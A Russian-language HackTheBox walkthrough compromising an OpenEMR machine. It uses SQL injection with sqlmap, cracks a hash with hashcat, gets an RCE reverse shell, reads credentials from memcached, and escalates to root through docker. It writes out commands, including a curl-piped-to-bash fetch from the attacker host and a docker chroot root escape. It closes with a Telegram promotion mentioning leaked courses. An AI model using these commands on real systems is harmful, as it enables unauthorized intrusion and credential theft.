Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.
В данной статье эксплуатируем уязвимости в CMS OpenEMR, работаем с memcached и docker.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.
Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.188, который я добавляю в /etc/hosts.
10.10.10.188 blackfield.htb
Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
На сервере работают SSH и веб сервер Apache.
И на сайте возможна авторизация.
Entry Point
В Burp Suite мы можем посмотреть, что за собой тянет каждая страница. И находим интересный JS файл, в котором есть проверка логина и пароля.
И авторизовавшись с этими данными, получим только какую-то картинку.
Просматривая сайт дальше, на About странице находим упоминание о HMS.
Я добавил данное имя в /etc/hosts и посмотрел, что вернет нам сервер.
10.10.10.188 hms.htb
Так уже лучше. Это CMS OpenEMR. Давайте посмотрим для нее эксплоиты (обратим внимание, что данная версия 2018 года).
И есть RCE (возьмем последнюю версию из представленных). Я скопировал код эксплоита в текущую рабочую директорию.
В коде видим, что нужно указать учетные данные.
А в описании к эксплоиту есть ссылка на PoC.
Изучая материал по данной ссылке, узнаем о SQL инъекции.
USER
Давайте перейдем к hms.htb/portal и попробуем зарегистрироваться.
После чего перейдем по следующему адресу hms.htb/portal/add_edit_event_user.php?eid=1 и получим ошибку.
Я повторил запрос через Burp Suite и сохранил его в файл. Давайте раскрутим SQL инъекцию с помощью sqlmap, передав ему этот файл запроса.
sqlmap -r r.req
И есть инъекция! Получим все БД.
sqlmap -r r.req --dbs
Теперь узнаем таблицы из openemr.
sqlmap -r r.req -D openemr --tables
Самую интересную я выделил на изображении, давайте получим данные из нее.
sqlmap -r r.req -D openemr -T users_secure --dump
И есть хеш bcrypt, давайте узнаем его режим в Hashcat.
hashcat --example | grep -A2 -B2 '\$2a\$'
А теперь перебираем и находим пароль.
hashcat -m 3200 -a 0 openemr_admin.hash ./tools/rockyou.txt --force
И укажем наш адрес и порт для прослушивания, полученные учетные данные и адрес страницы сайта в коде эксплоита.
Откроем листенер и выполним эксплоит.
Глянем какие есть пользователи.
Сделаем нормальный TTY шелл и перелогинимся под пользователем ash, так как мы знаем его пароль.
python3 -c 'import pty;pty.spawn("/bin/bash")'
И получаем первый флаг.
USER2
Для разведки на удаленном хосте используем скрипт LinPEAS.
curl 10.10.15.110/linpeas.sh | /bin/bash
И есть много информации: присутствует docker, причем второй пользователь входит в группу docker(999); При этом на локальном порте 11211 работает сервис memcached. Вся память memcached делится на куски — slab’ы. Давайте подключимся к порту 11211 и запросим их.
telnet localhost 11211
stats slabs
Slab’ы делятся на еще более мелкие куски — chunk’и. Так мы видим всего один Slab и его чанки. Давайте узнаем, что он хранит.
stats cachedump 1 0
Так каждая строка имеем определенный ключ-идентификатор, рядом с которым указан размер данных по данному ключу и timestamp. Нас конечно интересуют данные user и passwd.
get user
get passwd
И получаем второго пользователя(можно авторизоваться по SSH).
ROOT
Мы уже упоминали докер, давайте посмотрим образы.
docker images
Есть один образ ubuntu. Давайте примонтируем его.
docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash
И забираем флаг рута.
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.